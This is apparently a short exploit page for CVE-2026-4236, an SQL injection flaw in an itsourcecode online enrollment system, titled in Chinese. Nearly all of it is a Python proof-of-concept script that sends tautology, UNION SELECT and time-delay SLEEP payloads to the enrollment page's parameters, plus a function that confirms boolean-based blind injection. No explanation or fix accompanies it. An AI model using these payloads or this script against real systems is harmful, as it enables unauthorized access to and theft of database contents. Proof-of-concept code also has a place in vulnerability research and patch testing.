CVE-2026-4236 itsourcecode在线报名系统SQL注入漏洞

import requests target_url = "http://target.com/enrollment/index.php" # SQL Injection PoC for CVE-2026-4236 payloads = [ "?view=add&txtsearch=' OR '1'='1", "?view=add&deptname=' UNION SELECT 1,2,3,4,5--", "?view=add&name=' AND SLEEP(5)--" ] for payload in payloads: url = target_url + payload print(f"[*] Testing: {url}") try: response = requests.get(url, timeout=10) if "error" not in response.text.lower(): print(f"[!] Potential vulnerability detected!") print(f"[*] Response length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Boolean-based blind injection test def test_blind_injection(param, param_value): true_payload = f"?view=add&{param}=' AND 1=1--" false_payload = f"?view=add&{param}=' AND 1=2--" r1 = requests.get(target_url + true_payload) r2 = requests.get(target_url + false_payload) if len(r1.text) != len(r2.text): print(f"[!] Blind SQL injection confirmed in parameter: {param}") return True return False